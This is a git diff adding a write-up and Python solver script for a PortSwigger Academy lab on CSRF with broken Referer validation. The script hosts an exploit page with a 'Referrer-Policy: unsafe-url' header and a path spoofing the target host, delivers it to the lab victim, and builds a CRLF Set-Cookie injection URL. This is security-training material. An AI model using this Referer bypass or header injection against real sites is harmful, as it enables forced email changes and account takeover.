diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/README.md b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/README.md new file mode 100644 index 0000000..443ab16 --- /dev/null +++ b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/README.md @@ -0,0 +1,57 @@ +# Write-up: CSRF with broken Referer validation @ PortSwigger Academy + +![logo](img/logo.png) + +This write-up for the lab `CSRF with broken Referer validation` is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security). + +Lab-Link: +Difficulty: PRACTITIONER +Python script: [script.py](script.py) + +## Lab description + +- Lab application contains an email change feature that is vulnerable to CSRF +- Attempts to detect cross domain requests +- Known good credentials `wiener:peter` + +### Goals + +- Create some HTML to change a viewers email address + +## Steps + +As usual in the lab section, the lab application is the blog website. The vast majority of considerations are the same as in the [Lab: CSRF where token validation depends on request method](../CSRF_where_token_validation_depends_on_request_method/README.md) so I will not duplicate it in here, please refer to that document. + +I login with the known credentials for `wiener` and change the email address. This results in the following request: + +![change_request](img/change_request.png) + +No obvious protections against CSRF is visible, sending the request to Repeater and change the email again works without issues. + +The first attempt is to use a trivial attack like in the [Lab: CSRF vulnerability with no defenses](../CSRF_vulnerability_with_no_defenses/README.md). As expected this fails with a descriptive error message indicating the referer-header: + +![trivial_attempt](img/trivial_attempt.png) + +The same occurs if I simply remove the referer in Repeater. If I copy the original referer-header in, it passes. Therefore I need to manipulate the referer in a way that passes the validation even though it is sent by the exploit server. + +As a first attempt, I simply add the correct URL at the end of the referer-header, basically forming a path: + +![real_url_as_path](img/real_url_as_path.png) + +The request goes through and the email gets changed. So as a first attempt I rename the exploit file to be the URL of the allowed host. The form I get from the `CSRF PoC generator` of Burp Suite Pro. If you use the community edition, copy the form from the account website and update it accordingly: + +![modify_path](img/modify_path.png) + +Unfortunately, the browser removes the path and I still get just the domain part in the URL. + +Fortunately, the documentation regarding referrer-policy on [mozilla.org](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) shows the solution: + +![referrer_policy_docu](img/referrer_policy_docu.png) + +I create the final HTML page to include this header: + +![final_html](img/final_html.png) + +Viewing the exploit changes my email address, after `deliver exploit to victim` the lab updates to + +![success](img/success.png) diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/change_request.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/change_request.png new file mode 100644 index 0000000..21f8372 Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/change_request.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/final_html.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/final_html.png new file mode 100644 index 0000000..b49bb7d Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/final_html.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/logo.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/logo.png new file mode 100644 index 0000000..d4222fc Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/logo.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/modify_path.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/modify_path.png new file mode 100644 index 0000000..3f0c001 Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/modify_path.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/real_url_as_path.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/real_url_as_path.png new file mode 100644 index 0000000..4d33403 Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/real_url_as_path.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/referrer_policy_docu.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/referrer_policy_docu.png new file mode 100644 index 0000000..6058ffb Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/referrer_policy_docu.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/success.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/success.png new file mode 100644 index 0000000..ce201c4 Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/success.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/trivial_attempt.png b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/trivial_attempt.png new file mode 100644 index 0000000..fcf2a1a Binary files /dev/null and b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/img/trivial_attempt.png differ diff --git a/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/script.py b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/script.py new file mode 100644 index 0000000..d9bf7bb --- /dev/null +++ b/12_cross_site_request_forgery_CSRF/CSRF_with_broken_Referer_validation/script.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python3 +# CSRF with broken Referer validation +# Lab-Link: https://portswigger.net/web-security/csrf/lab-referer-validation-broken +# Difficulty: PRACTITIONER +from bs4 import BeautifulSoup +import requests +import sys +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) +proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} + + +def find_exploitserver(text): + soup = BeautifulSoup(text, 'html.parser') + try: + result = soup.find('a', attrs={'id': 'exploit-link'})['href'] + except TypeError: + return None + return result + + +def store_exploit(client, exploit_server, host): + token = 'abc' + cookieURL = f'{host}/?search=x%0d%0aSet-Cookie:+csrf={token}' + data = {'urlIsHttps': 'on', + 'responseFile': f'/{host[8:]}', + 'responseHead': '''HTTP/1.1 200 OK +Content-Type: text/html; charset=utf-8 +Referrer-Policy: unsafe-url''', + 'responseBody': '''
+ + +
+''', + 'formAction': 'STORE'} + + return client.post(exploit_server, data=data).status_code == 200 + + +def main(): + print('[+] CSRF with broken Referer validation') + try: + host = sys.argv[1].strip().rstrip('/') + except IndexError: + print(f'Usage: {sys.argv[0]} ') + print(f'Exampe: {sys.argv[0]} http://www.example.com') + sys.exit(-1) + + client = requests.Session() + client.verify = False + client.proxies = proxies + + exploit_server = find_exploitserver(client.get(host).text) + if exploit_server is None: + print(f'[-] Failed to find exploit server') + sys.exit(-2) + print(f'[+] Exploit server: {exploit_server}') + + if not store_exploit(client, exploit_server, host): + print(f'[-] Failed to store exploit file') + sys.exit(-3) + print(f'[+] Stored exploit file') + + if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302: + print(f'[-] Failed to deliver exploit to victim') + sys.exit(-4) + print(f'[+] Delivered exploit to victim') + + if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text: + print(f'[-] Failed to solve lab') + sys.exit(-9) + + print(f'[+] Lab solved') + + +if __name__ == "__main__": + main() diff --git a/README.md b/README.md index 13228e0..7de5ebf 100644 --- a/README.md +++ b/README.md @@ -27,7 +27,7 @@ So I create the scripts to learn about python and how to use it to interact with | 10 | XXE injection | :heavy_check_mark: | 9/9 | | | **Client-side topics** || | 11 | Cross-site scripting (XSS) || 21/30 | -| 12 | Cross-site request forgery (CSRF) || 7/8 | +| 12 | Cross-site request forgery (CSRF) | :heavy_check_mark: | 8/8 | | 13 | Cross-origin resource sharing (CORS) || 0/4 | | 14 | Clickacking || 0/5 | | 15 | DOM-based vulnerabilities || 0/7 |